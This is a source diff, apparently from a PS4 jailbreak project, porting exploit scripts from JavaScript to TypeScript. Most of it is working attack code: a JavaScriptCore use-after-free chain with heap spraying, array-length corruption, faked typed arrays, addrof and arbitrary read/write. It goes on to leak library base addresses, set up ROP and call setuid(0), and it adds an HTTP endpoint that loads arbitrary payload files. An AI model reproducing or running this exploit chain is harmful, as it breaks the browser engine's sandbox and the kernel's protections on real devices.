}
write_sys(fd, buf, new BigInt(0, resp.length))
}
// parse path from http request
function get_path (buf, len) {
var req = ''
for (var i = 0; i < len && i < 1024; i++) {
var c = mem.view(buf).getUint8(i)
function get_path (buf: BigInt, len: number) {
let req = ''
for (let i = 0; i < len && i < 1024; i++) {
const c = mem.view(buf).getUint8(i)
if (c === 0) break
req += String.fromCharCode(c)
}
// GET /path HTTP/1.1
var lines = req.split('\n')
const lines = req.split('\n')
if (lines.length > 0) {
var parts = lines[0].trim().split(' ')
const parts = lines[0]!.trim().split(' ')
if (parts.length >= 2) return parts[1]
}
return '/'
@@ -267,46 +253,46 @@ function get_path (buf, len) {
log('server ready - non-blocking mode')
log('waiting for connections...')
var count = 0
var serverRunning = true
let count = 0
let serverRunning = true
// Prepare select() structures (reuse across calls)
var readfds = mem.malloc(128)
var timeout = mem.malloc(16)
const readfds = mem.malloc(128)
const timeout = mem.malloc(16)
mem.view(timeout).setUint32(0, 0, true)
mem.view(timeout).setUint32(4, 0, true)
mem.view(timeout).setUint32(8, 0, true)
mem.view(timeout).setUint32(12, 0, true)
var client_addr = mem.malloc(16)
var client_len = mem.malloc(4)
var req_buf = mem.malloc(4096)
const client_addr = mem.malloc(16)
const client_len = mem.malloc(4)
const req_buf = mem.malloc(4096)
function handleRequest () {
if (!serverRunning) return
// Clear fd_set and set server fd
for (var i = 0; i < 128; i++) {
for (let i = 0; i < 128; i++) {
mem.view(readfds).setUint8(i, 0)
}
var fd = srv.lo
var byte_index = Math.floor(fd / 8)
var bit_index = fd % 8
var current = mem.view(readfds).getUint8(byte_index)
const fd = srv.lo
const byte_index = Math.floor(fd / 8)
const bit_index = fd % 8
const current = mem.view(readfds).getUint8(byte_index)
mem.view(readfds).setUint8(byte_index, current | (1 << bit_index))
// Poll with select() - returns immediately
var nfds = fd + 1
var select_ret = select_sys(new BigInt(0, nfds), readfds, new BigInt(0, 0), new BigInt(0, 0), timeout)
const nfds = fd + 1
const select_ret = select_sys(new BigInt(0, nfds), readfds, new BigInt(0, 0), new BigInt(0, 0), timeout)
// No connection ready
if (select_ret.lo <= 0) return
// Connection ready - accept won't block
mem.view(client_len).setUint32(0, 16, true)
var client_ret = accept_sys(srv, client_addr, client_len)
var client = client_ret instanceof BigInt ? client_ret.lo : client_ret
const client_ret = accept_sys(srv, client_addr, client_len)
const client = client_ret instanceof BigInt ? client_ret.lo : client_ret
if (client < 0) {
log('accept failed: ' + client)
@@ -318,48 +304,48 @@ function handleRequest () {
log('[' + count + '] client connected')
// read request
var read_ret = read_sys(client, req_buf, new BigInt(0, 4096))
var bytes = read_ret instanceof BigInt ? read_ret.lo : read_ret
const read_ret = read_sys(new BigInt(client), req_buf, new BigInt(0, 4096))
const bytes = read_ret instanceof BigInt ? read_ret.lo : read_ret
log('read ' + bytes + ' bytes')
var path = get_path(req_buf, bytes)
const path = get_path(req_buf, bytes)
log('path: ' + path)
// handle /load - just run loader.js
if (path === '/load' || path.indexOf('/load?') === 0) {
if (path === '/load' || path?.indexOf('/load?') === 0) {
log('running loader.js')
send_response(client, 'loading...')
close_sys(client)
send_response(new BigInt(client), 'loading...')
close_sys(new BigInt(client))
try {
log('=== loading loader.js ===')
include('loader.js')
log('=== done ===')
} catch (e) {
log('error: ' + e.message)
if (e.stack) log(e.stack)
log('error: ' + (e as Error).message)
if ((e as Error).stack) log((e as Error).stack!)
}
} else if (path.indexOf('/load/') === 0) {
} else if (path?.indexOf('/load/') === 0) {
// handle /load/filename.js
var filename = path.substring(6)
const filename = path.substring(6)
log('loading: ' + filename)
send_response(client, 'loading ' + filename + '... check console')
close_sys(client)
send_response(new BigInt(client), 'loading ' + filename + '... check console')
close_sys(new BigInt(client))
try {
log('=== loading ' + filename + ' ===')
include('download0/payloads/' + filename)
log('=== done loading ' + filename + ' ===')
} catch (e) {
log('error: ' + e.message)
if (e.stack) log(e.stack)
log('error: ' + (e as Error).message)
if ((e as Error).stack) log((e as Error).stack!)
}
} else {
// just serve the main page
send_response(client, html)
close_sys(client)
send_response(new BigInt(client), html)
close_sys(new BigInt(client))
}
log('closed connection')
@@ -1,42 +1,34 @@
import { fn, mem, BigInt } from 'download0/types'
// Statistics tracker using syscalls for direct file I/O
// Register read syscall if not already registered
try {
if (!fn.read) {
fn.register(0x3, 'read', 'bigint')
}
} catch (e) {
// Already registered
}
function isJailbroken () {
// Register syscalls
try { fn.register(24, 'getuid', 'bigint') } catch (e) {}
try { fn.register(23, 'setuid', 'bigint') } catch (e) {}
fn.register(24, 'getuid', [], 'bigint')
fn.register(23, 'setuid', ['number'], 'bigint')
// Get current UID
var uid_before = fn.getuid()
var uid_before_val = (uid_before instanceof BigInt) ? uid_before.lo : uid_before
const uid_before = fn.getuid()
const uid_before_val = uid_before.lo
log('UID before setuid: ' + uid_before_val)
// Try to set UID to 0 (root) - catch EPERM if not jailbroken
log('Attempting setuid(0)...')
var setuid_success = false
var error_msg = null
try {
var setuid_result = fn.setuid(0)
var setuid_ret = (setuid_result instanceof BigInt) ? setuid_result.lo : setuid_result
const setuid_result = fn.setuid(0)
const setuid_ret = setuid_result.lo
log('setuid returned: ' + setuid_ret)
setuid_success = (setuid_ret === 0)
} catch (e) {
error_msg = e.toString()
const error_msg = (e as Error).toString()
log('setuid threw exception: ' + error_msg)
}
// Get UID after setuid attempt
var uid_after = fn.getuid()
var uid_after_val = (uid_after instanceof BigInt) ? uid_after.lo : uid_after
const uid_after = fn.getuid()
const uid_after_val = uid_after.lo
log('UID after setuid: ' + uid_after_val)
if (uid_after_val === 0) {
@@ -48,7 +40,7 @@ function isJailbroken () {
}
}
var stats = {
export const stats = {
total: 0,
success: 0,
filepath: '/download0/stats.json',
@@ -56,7 +48,11 @@ var stats = {
// Load stats from file using syscalls
load: function () {
try {
var fd = fn.open(this.filepath, 0, 0) // O_RDONLY
fn.register(0x3, 'read', ['bigint', 'bigint', 'number'], 'bigint')
fn.register(0x4, 'write', ['bigint', 'bigint', 'number'], 'bigint')
fn.register(0x5, 'open', ['string', 'number', 'number'], 'bigint')
fn.register(0x6, 'close', ['bigint'], 'bigint')
const fd = fn.open(this.filepath, 0, 0) // O_RDONLY
if (fd.lt(0)) {
log('[STATS] No stats file found, starting fresh')
this.total = 0
@@ -65,19 +61,19 @@ var stats = {
}
// Read file content
var buf = mem.malloc(1024)
var bytesRead = fn.read(fd, buf, 1024)
const buf = mem.malloc(1024)
const bytesRead = fn.read(fd, buf, 1024)
fn.close(fd)
if (bytesRead.gt(0)) {
if (bytesRead.neq(new BigInt(0xFFFFFFFF, 0xFFFFFFFF))) {
// Convert buffer to string
var str = ''
for (var i = 0; i < Number(bytesRead); i++) {
str += String.fromCharCode(mem.view(buf.add(i)).getUint8(0, true))
let str = ''
for (let i = 0; i < Number(bytesRead); i++) {
str += String.fromCharCode(mem.view(buf.add(i)).getUint8(0))
}
try {
var parsed = JSON.parse(str)
const parsed = JSON.parse(str)
this.total = parsed.total || 0
this.success = parsed.success || 0
log('[STATS] Loaded: total=' + this.total + ', success=' + this.success)
@@ -89,7 +85,7 @@ var stats = {
}
} catch (e) {
log('[STATS] Error loading stats: ' + e)
log(e.stack)
log((e as Error).stack ?? '')
this.total = 0
this.success = 0
}
@@ -98,16 +94,20 @@ var stats = {
// Save stats to file using syscalls
save: function () {
try {
fn.register(0x3, 'read', ['bigint', 'bigint', 'number'], 'bigint')
fn.register(0x4, 'write', ['bigint', 'bigint', 'number'], 'bigint')
fn.register(0x5, 'open', ['string', 'number', 'number'], 'bigint')
fn.register(0x6, 'close', ['bigint'], 'bigint')
this.filepath = isJailbroken() ? '/mnt/sandbox/download/CUSA00960/stats.json' : '/download0/stats.json'
var data = JSON.stringify({
const data = JSON.stringify({
total: this.total,
success: this.success
})
// Open file for writing (O_WRONLY | O_CREAT | O_TRUNC)
// O_WRONLY = 1, O_CREAT = 0x200, O_TRUNC = 0x400
var fd = fn.open(this.filepath, 0x601, 0x1FF) // 0x1FF = 0777 permissions
const fd = fn.open(this.filepath, 0x601, 0x1FF) // 0x1FF = 0777 permissions
if (fd.lt(0)) {
log('[STATS] Failed to open file for writing')
@@ -115,12 +115,12 @@ var stats = {
}
// Write data to file
var buf = mem.malloc(data.length)
for (var i = 0; i < data.length; i++) {
mem.view(buf.add(i)).setUint8(0, data.charCodeAt(i), true)
const buf = mem.malloc(data.length)
for (let i = 0; i < data.length; i++) {
mem.view(buf.add(i)).setUint8(0, data.charCodeAt(i))
}
var bytesWritten = fn.write(fd, buf, data.length)
const bytesWritten = fn.write(fd, buf, data.length)
fn.close(fd)
if (bytesWritten.eq(data.length)) {
@@ -163,7 +163,7 @@ var stats = {
// Print current stats
print: function () {
var current = this.get()
const current = this.get()
log('[STATS] ====== Statistics ======')
log('[STATS] Total: ' + current.total)
log('[STATS] Success: ' + current.success)
File diff suppressed because it is too large Load Diff
File diff suppressed because it is too large Load Diff
+53 -50
View File
@@ -1,23 +1,25 @@
import { BigInt, fn, mem, rop, syscalls, utils } from 'download0/types'
import { make_uaf } from 'download0/defs'
include('types.js')
include('defs.js')
// needed for arw
var u32_structs
var spray_size = 0x100
var marked_arr_offset = -1
var corrupted_arr_idx = -1
var marker = new BigInt(0xFFFF0000, 0x13371337)
var indexing_header = new BigInt(spray_size, spray_size)
const u32_structs: Uint32Array[] = new Array(0x100)
const spray_size = 0x100
let marked_arr_offset = -1
let corrupted_arr_idx = -1
const marker = new BigInt(0xFFFF0000, 0x13371337)
const indexing_header = new BigInt(spray_size, spray_size)
// used for arw
var master, slave, master_addr, slave_addr, slave_buf_addr
// used for addrof/fakeobj
var leak_obj, leak_obj_addr
let master: Uint32Array | undefined
const slave: DataView = new DataView(new ArrayBuffer(0x30))
let master_addr: BigInt = new BigInt(0)
log('Initiate UAF...')
var uaf_view = new DataView(new ArrayBuffer(0x100000))
const uaf_view = new DataView(new ArrayBuffer(0x100000))
uaf_view.setUint32(0x10, 0xB0, true)
@@ -27,14 +29,14 @@ log('Achieved UAF !!')
log('Spraying arrays with marker...')
// spray candidates arrays to be used as leak primitive
var spray = new Array(0x1000)
for (var i = 0; i < spray.length; i++) {
const spray = new Array(0x1000)
for (let i = 0; i < spray.length; i++) {
spray[i] = new Array(spray_size).fill(0x13371337)
}
log('Looking for marked array...')
// find sprayed candidate by marker then corrupt its length
for (var i = 8; i < uaf_view.byteLength; i += 16) {
for (let i = 8; i < uaf_view.byteLength; i += 16) {
if (uaf_view.getBigInt(i - 8, true).eq(indexing_header) &&
uaf_view.getBigInt(i, true).eq(marker)) {
log(`Found marker at uaf_view[${i}] !!`)
@@ -43,7 +45,7 @@ for (var i = 8; i < uaf_view.byteLength; i += 16) {
log(`Marked indexing header ${uaf_view.getBigInt(marked_arr_offset, true)}`)
var corrupted_indexing_header = new BigInt(0x1337, 0x1337)
const corrupted_indexing_header = new BigInt(0x1337, 0x1337)
log('Corrupting marked array length...')
// corrupt indexing header
@@ -57,7 +59,7 @@ if (marked_arr_offset === -1) {
}
// find index of corrupted array
for (var i = 0; i < spray.length; i++) {
for (let i = 0; i < spray.length; i++) {
if (spray[i].length === 0x1337) {
log(`Found corrupted array at spray[${i}] !!`)
log(`Corrupted array length ${new BigInt(spray[i].length)}`)
@@ -73,31 +75,30 @@ if (corrupted_arr_idx === -1) {
log('Initiate ARW...')
var marked_arr_obj_offset = marked_arr_offset + 0x10
const marked_arr_obj_offset = marked_arr_offset + 0x10
slave = new DataView(new ArrayBuffer(0x30))
slave.setUint32(0, 0x13371337, true)
// leak address of leak_obj
leak_obj = { obj: slave }
const leak_obj = { obj: slave }
spray[corrupted_arr_idx][1] = leak_obj
leak_obj_addr = uaf_view.getBigInt(marked_arr_obj_offset, true)
const leak_obj_addr = uaf_view.getBigInt(marked_arr_obj_offset, true)
// store Uint32Array structure ids to be used for fake master id later
u32_structs = new Array(0x100)
for (var i = 0; i < u32_structs.length; i++) {
for (let i = 0; i < u32_structs.length; i++) {
u32_structs[i] = new Uint32Array(1)
// @ts-expect-error explicitly create property in Uint32Array
u32_structs[i][`spray_${i}`] = 0x1337
}
var js_cell = new BigInt()
var length_and_flags = new BigInt(1, 0x30)
var rw_obj = { js_cell: js_cell.d(), butterfly: null, vector: slave, length_and_flags: length_and_flags.d() }
let js_cell = new BigInt()
const length_and_flags = new BigInt(1, 0x30)
const rw_obj = { js_cell: js_cell.d(), butterfly: null, vector: slave, length_and_flags: length_and_flags.d() }
// try faking Uint32Array master by incremental structure_id until it matches from one of sprayed earlier in structs array
var structure_id = 0x80
let structure_id = 0x80
while (!(master instanceof Uint32Array)) {
js_cell = new BigInt(
0x00 | // IndexingType::NonArray
@@ -111,7 +112,7 @@ while (!(master instanceof Uint32Array)) {
spray[corrupted_arr_idx][1] = rw_obj
var rw_obj_addr = uaf_view.getBigInt(marked_arr_obj_offset, true)
const rw_obj_addr = uaf_view.getBigInt(marked_arr_obj_offset, true)
master_addr = rw_obj_addr.add(0x10)
@@ -120,7 +121,7 @@ while (!(master instanceof Uint32Array)) {
master = spray[corrupted_arr_idx][1]
}
slave_addr = mem.addrof(slave)
const slave_addr = mem.addrof(slave)
// Fix master
mem.view(master_addr).setBigInt(8, 0, true)
@@ -131,52 +132,52 @@ mem.view(slave_addr).setUint8(6, 0xA0) // TypeInfo::InlineTypeFlags::OverridesGe
mem.view(slave_addr).setInt32(0x18, -1, true)
mem.view(slave_addr).setInt32(0x1C, 1, true)
var slave_buf_addr = mem.view(slave_addr).getBigInt(0x20, true)
const slave_buf_addr = mem.view(slave_addr).getBigInt(0x20, true)
mem.view(slave_buf_addr).setInt32(0x20, -1, true)
log('Achieved ARW !!')
var math_min_addr = mem.addrof(Math.min)
const math_min_addr = mem.addrof(Math.min)
debug(`addrof(Math.min): ${math_min_addr}`)
var scope = mem.view(math_min_addr).getBigInt(0x10, true)
const scope = mem.view(math_min_addr).getBigInt(0x10, true)
debug(`scope: ${scope}`)
var native_executable = mem.view(math_min_addr).getBigInt(0x18, true)
const native_executable = mem.view(math_min_addr).getBigInt(0x18, true)
debug(`native_executable: ${native_executable}`)
var native_executable_function = mem.view(native_executable).getBigInt(0x40, true)
const native_executable_function = mem.view(native_executable).getBigInt(0x40, true)
debug(`native_executable_function: ${native_executable_function}`)
var native_executable_constructor = mem.view(native_executable).getBigInt(0x48, true)
const native_executable_constructor = mem.view(native_executable).getBigInt(0x48, true)
debug(`native_executable_constructor: ${native_executable_constructor}`)
var jsc_addr = native_executable_function.sub(0xC6380)
const jsc_addr = native_executable_function.sub(0xC6380)
var _error_addr = mem.view(jsc_addr).getBigInt(0x1E72398, true)
const _error_addr = mem.view(jsc_addr).getBigInt(0x1E72398, true)
debug(`_error_addr: ${_error_addr}`)
var strerror_addr = mem.view(jsc_addr).getBigInt(0x1E723B8, true)
const strerror_addr = mem.view(jsc_addr).getBigInt(0x1E723B8, true)
debug(`strerror_addr: ${strerror_addr}`)
var libc_addr = strerror_addr.sub(0x40410)
const libc_addr = strerror_addr.sub(0x40410)
var jsmaf_gc_addr = mem.addrof(jsmaf.gc)
const jsmaf_gc_addr = mem.addrof(jsmaf.gc)
debug(`addrof(jsmaf.gc): ${jsmaf_gc_addr}`)
var native_invoke_addr = mem.view(jsmaf_gc_addr).getBigInt(0x18, true)
const native_invoke_addr = mem.view(jsmaf_gc_addr).getBigInt(0x18, true)
debug(`native_invoke_addr: ${native_invoke_addr}`)
var eboot_addr = native_invoke_addr.sub(0x39330)
const eboot_addr = native_invoke_addr.sub(0x39330)
mem.view(jsc_addr).setUint32(0x1E75B20, 1, true)
log('Disabled GC')
rop.init(jsc_addr)
fn.register(libc_addr.add(0x5F0), 'sceKernelGetModuleInfoForUnwind', 'bigint')
fn.register(libc_addr.add(0x5F0), 'sceKernelGetModuleInfoForUnwind', ['bigint'], 'bigint')
var libkernel_addr = utils.base_addr(_error_addr)
const libkernel_addr = utils.base_addr(_error_addr)
log(`jsc address: ${jsc_addr}`)
log(`libc address: ${libc_addr}`)
@@ -187,12 +188,14 @@ syscalls.init(libkernel_addr)
debug(`Found ${syscalls.map.size} syscalls`)
fn.register(_error_addr, '_error', 'bigint')
fn.register(strerror_addr, 'strerror', 'string')
fn.register(0x14, 'getpid', 'bigint')
fn.register(0x29, 'dup', 'bigint')
fn.register(0x4, 'write', 'bigint')
fn.register(0x5, 'open', 'bigint')
fn.register(0x6, 'close', 'bigint')
fn.register(_error_addr, '_error', [], 'bigint')
fn.register(strerror_addr, 'strerror', ['bigint'], 'string')
fn.register(0x14, 'getpid', [], 'bigint')
fn.register(0x29, 'dup', ['bigint'], 'bigint')
fn.register(0x4, 'write', ['bigint', 'bigint', 'number'], 'bigint')
fn.register(0x5, 'open', ['bigint', 'number', 'number'], 'bigint')
fn.register(0x6, 'close', ['bigint'], 'bigint')
// utils.notify('UwU')
export { jsc_addr, libc_addr, libkernel_addr, eboot_addr }
+114
View File
@@ -0,0 +1,114 @@
type TypedArray = Uint8Array | Uint16Array | Uint32Array | Int8Array | Int16Array | Int32Array | Float32Array | Float64Array
declare function log (message: string): void
declare function debug (message: string): void
declare function include (path: string): void
declare var u32_structs: Uint32Array[]
declare var spray_size: 0x100
declare var marked_arr_offset: number
declare var corrupted_arr_idx: number
declare var marker: import('download0/types').BigInt
declare var indexing_header: import('download0/types').BigInt
declare var master: Uint32Array, slave: DataView, master_addr: import('download0/types').BigInt, slave_addr: import('download0/types').BigInt, slave_buf_addr: import('download0/types').BigInt
declare var leak_obj: Record<string, unknown>, leak_obj_addr: import('download0/types').BigInt
declare var native_executable: import('download0/types').BigInt
declare var scope: import('download0/types').BigInt
declare var debugging: {
info: {
memory: {
available: number
available_dmem: number
available_libc: number
}
}
} | undefined
declare var is_jailbroken: boolean
declare var CONFIG: {
autolapse?: boolean;
autopoop?: boolean;
autoclose?: boolean;
} | undefined
declare var payloads: string[] | undefined
declare var kernel_offset: (typeof import('download0/kernel').ps4_kernel_offset_list[keyof typeof import('download0/kernel').ps4_kernel_offset_list]) & {
PROC_FD?: number,
PROC_PID?: number,
PROC_VM_SPACE?: number,
PROC_UCRED?: number,
PROC_COMM?: number,
PROC_SYSENT?: number,
FILEDESC_OFILES?: number,
SIZEOF_OFILES?: number,
VMSPACE_VM_PMAP?: number,
PMAP_CR3?: number,
SO_PCB?: number,
INPCB_PKTOPTS?: number,
IP6PO_TCLASS?: number,
IP6PO_RTHDR?: number,
} | null
declare class Image {
url: string
alpha: number
x: number
y: number
width: number
height: number
visible: boolean
borderColor: string
borderWidth: number
background: string
color: string
scaleX: number
scaleY: number
constructor (options: {
url: string
x: number
y: number
width: number
height: number
visible?: boolean
})
}
declare class Style {
constructor (options: {
name: string
color: string
size: number
})
}
declare class Video {
duration: number
visible: boolean
elapsed: number
onOpen: () => void
onerror: (err: string) => void
onstatechange: (state: string) => void
constructor (options: {
x: number
y: number
width: number
height: number
visible: boolean
autoplay: boolean
})
play (): void
open (url: string): void
close (): void
}
declare var bg_success: Image
declare var bg_fail: Image
+76
View File
@@ -0,0 +1,76 @@
declare namespace jsmaf {
declare class Text {
x: number
y: number
background: string
url: string
text: string
color: string
alpha: number
style: string
scaleX: number
scaleY: number
constructor (options?: {
x?: number
y?: number
width?: number
height?: number
text?: string
color?: string
background?: string
fontSize?: number
style?: string
})
}
declare class WebSocketServer {
port: number
onmessage: (clientID: number, data: string) => void
constructor ()
broadcast (data: string): void
}
declare class AudioClip {
volume: number
constructor ()
open (url: string): void
}
declare class XMLHttpRequest {
readyState: number
status: number
responseText: string
onreadystatechange: () => void
constructor ()
open (method: string, url: string, async: boolean): void
send (data?: string): void
}
declare type Element = Text | Image | Video
declare namespace root {
declare const children: Element[]
}
declare function eval (code: string): unknown
declare var gc: unknown
declare var locale: string
declare function clearInterval (intervalID: number): void
declare function setInterval (handler: () => void, timeout: number): number
declare function exit (): void
declare var onEnterFrame: (() => void) | null
declare var onKeyDown: ((keyCode: number) => void) | null
declare var remotePlay: boolean
declare function openWebBrowser (url: string): void
}
+6 -3
View File
@@ -3,12 +3,14 @@
// Environment setup & latest features
"lib": ["ES5", "ES2015.Collection", "ES2015.Core"],
"target": "es5",
"module": "Preserve",
"moduleDetection": "force",
"allowJs": true,
"module": "es2015",
// "allowJs": true,
"baseUrl": "./src",
// Bundler mode
"moduleResolution": "bundler",
"esModuleInterop": true,
"isolatedModules": true,
"verbatimModuleSyntax": true,
"outDir": "./dist",
@@ -25,4 +27,5 @@
"noPropertyAccessFromIndexSignature": false
},
"include": ["**/*.ts", "**/*.js", "**/*.js.aes"],
"exclude": ["eslint.config.ts"]
}
-240
View File
@@ -1,240 +0,0 @@
declare namespace vue {
declare class BigInt {
buf: ArrayBuffer
i8: Int8Array
u8: Uint8Array
i16: Int16Array
u16: Uint16Array
i32: Int32Array
u32: Uint32Array
f32: Float32Array
f64: Float64Array
static readonly Zero: BigInt
static readonly One: BigInt
static readonly TYPE_MAP: {
Int8Array: 'i8',
Uint8Array: 'u8',
Int16Array: 'i16',
Uint16Array: 'u16',
Int32Array: 'i32',
Uint32Array: 'u32',
Float32Array: 'f32',
Float64Array: 'f64',
}
constructor ()
constructor (value: number | string | BigInt | ArrayLike<number>)
constructor (hi: number, lo: number)
toString (): string
endian (): void
lo (): number
hi (): number
d (): number
jsv (): BigInt
cmp (val: BigInt): -1 | 0 | 1
eq (val: BigInt): boolean
neq (val: BigInt): boolean
gt (val: BigInt): boolean
gte (val: BigInt): boolean
lt (val: BigInt): boolean
lte (val: BigInt): boolean
add (val: BigInt): BigInt
sub (val: BigInt): BigInt
mul (val: BigInt): BigInt
divmod (val: BigInt): { q: BigInt, r: BigInt }
div (val: BigInt): BigInt
mod (val: BigInt): BigInt
xor (val: BigInt): BigInt
and (val: BigInt): BigInt
or (val: BigInt): BigInt
neg (): BigInt
shl (count: number): BigInt
shr (count: number): BigInt
}
}
declare global {
interface DataView {
getBigInt (byteOffset: number, littleEndian?: boolean): vue.BigInt
setBigInt (byteOffset: number, value: vue.BigInt, littleEndian?: boolean): void
}
}
type NonPointerTypes = `${'Int' | 'Uint'}${8 | 16 | 32 | 64}`
type PointerTypes = `${NonPointerTypes}*`
type StructName<T> = T extends `${infer Name}[${string}]` ? Name : T
type StructCount<T> = T extends { count: infer C extends number } ? C :
T extends { name: `${string}[${infer C extends number}]` } ? C :
1
interface BaseStructField {
size?: number
offset?: number
}
interface PointerStructField extends BaseStructField {
name: string
type: PointerTypes
pointer?: true
count?: never
}
interface NonPointerStructFieldWithCountName extends BaseStructField {
name: `${string}[${number}]`
type: NonPointerTypes
pointer?: false
count?: number
}
interface NonPointerStructFieldWithCount extends BaseStructField {
name: name
type: NonPointerTypes
pointer?: false
count: number
}
interface NonPointerStructField extends BaseStructField {
name: name
type: NonPointerTypes
pointer?: false
count?: 1
}
type StructField = PointerStructField | NonPointerStructFieldWithCount | NonPointerStructFieldWithCountName | NonPointerStructField
type StructReturnType<const T extends StructField> =
StructCount<T> extends (1 | undefined) ? (
T['pointer'] extends true ? vue.BigInt :
T['type'] extends 'Int64' ? vue.BigInt :
T['type'] extends 'Uint64' ? vue.BigInt :
number
) : (
T['type'] extends 'Int8' ? Int8Array :
T['type'] extends 'Uint8' ? Uint8Array :
T['type'] extends 'Int16' ? Int16Array :
T['type'] extends 'Uint16' ? Uint16Array :
T['type'] extends 'Int32' ? Int32Array :
T['type'] extends 'Uint32' ? Uint32Array :
T['type'] extends 'Int64' ? Int32Array :
T['type'] extends 'Uint64' ? Uint32Array :
never
)
type StructInstance<const T extends readonly StructField[]> = {
[K in T[number] as StructName<K['name']>]: StructReturnType<K>
} & {
addr: vue.BigInt
}
interface StructConstructor<const Name extends string, const T extends readonly StructField[]> {
new (addr: vue.BigInt): StructInstance<T>
readonly tname: Name
readonly sizeof: number
readonly fields: T
}
declare type Struct = {
create<const Name extends string, const T extends StructField[]>(name: Name, fields: T): StructConstructor<Name, T>
}
declare type Mem = {
allocs: Map<vue.BigInt, ArrayBufferLike>
read8 (addr: vue.BigInt): vue.BigInt
read4 (addr: vue.BigInt): vue.BigInt
write8 (addr: vue.BigInt, value: vue.BigInt): void
write4 (addr: vue.BigInt, value: vue.BigInt): void
write1 (addr: vue.BigInt, value: vue.BigInt): void
addrof (obj: unknown): vue.BigInt
fakeobj (addr: vue.BigInt): unknown
malloc (size: number): vue.BigInt
free (addr: vue.BigInt): void
free_all (): void
}
declare type Utils = {
base_addr (func_addr: vue.BigInt): vue.BigInt
notify (msg: string): void
str (addr: vue.BigInt): string
cstr (str: string): vue.BigInt
get_backing (view: ArrayBufferLike): vue.BigInt
set_backing (view: ArrayBufferLike, addr: vue.BigInt): void
}
declare type Rop = {
init (): void
free (): void
reset (): void
push (val: vue.BigInt): void
execute (insts: vue.BigInt[], store_addr: vue.BigInt, store_size: number): void
fake_builtin (addr: vue.BigInt): (useless1: number, useless2: number, useless3: number, addr: vue.BigInt) => void
store (insts: vue.BigInt[], addr: vue.BigInt, index: number): void
load (insts: vue.BigInt[], addr: vue.BigInt, index: number): void
}
type ArgTypeToRealType<T> = T extends 'bigint' ? vue.BigInt :
T extends 'boolean' ? boolean :
T extends 'number' ? number :
T extends 'string' ? string :
never
declare type Fn = {
create <const Args extends ('bigint' | 'number' | 'boolean' | 'string')[], Return extends ('bigint' | 'boolean' | 'string')>(addr: vue.BigInt | number, args: Args, ret: Return): (...func_args: { [K in keyof Args]: ArgTypeToRealType<Args[K]> }) => ArgTypeToRealType<Return>
}
declare type Fs = {
stat (path: string): StructInstance<[
{ name: 'st_dev', type: 'Uint32' },
{ name: 'st_ino', type: 'Uint32' },
{ name: 'st_mode', type: 'Uint16' },
{ name: 'st_nlink', type: 'Uint16' },
{ name: 'st_uid', type: 'Uint32' },
{ name: 'st_gid', type: 'Uint32' },
{ name: 'st_rdev', type: 'Uint32' },
{ name: 'st_atim_sec', type: 'Int64' },
{ name: 'st_atim_nsec', type: 'Int64' },
{ name: 'st_mtim_sec', type: 'Int64' },
{ name: 'st_mtim_nsec', type: 'Int64' },
{ name: 'st_ctim_sec', type: 'Int64' },
{ name: 'st_ctim_nsec', type: 'Int64' },
{ name: 'st_size', type: 'Int64' },
{ name: 'st_blocks', type: 'Int64' },
{ name: 'st_blksize', type: 'Uint32' },
{ name: 'st_flags', type: 'Uint32' },
{ name: 'st_gen', type: 'Uint32' },
{ name: 'st_birthtim_sec', type: 'Int64' },
{ name: 'st_birthtim_nsec', type: 'Int64' }
]>
exists (path: string): boolean
readFile (path: string): Uint8Array
readTextFile (path: string): string
writeFile (path: string, data: ArrayBufferLike | Uint8Array): void
writeTextFile (path: string, data: string): void
remove (path: string): void
mkdir (path: string): void
}
declare class SyscallError extends Error {
syscall: string
errno: number
strerror: string
constructor (syscall: string, errno: number, strerror: string)
}
declare var jsc_addr: vue.BigInt
declare var libc_addr: vue.BigInt
declare var eboot_addr: vue.BigInt
declare var gadgets: Record<string, vue.BigInt>
function log (msg: string): void
function debug (msg: string): void
declare var mem: Mem
declare var struct: Struct
declare var utils: Utils
declare var rop: Rop
declare var fn: Fn
declare var fs: Fs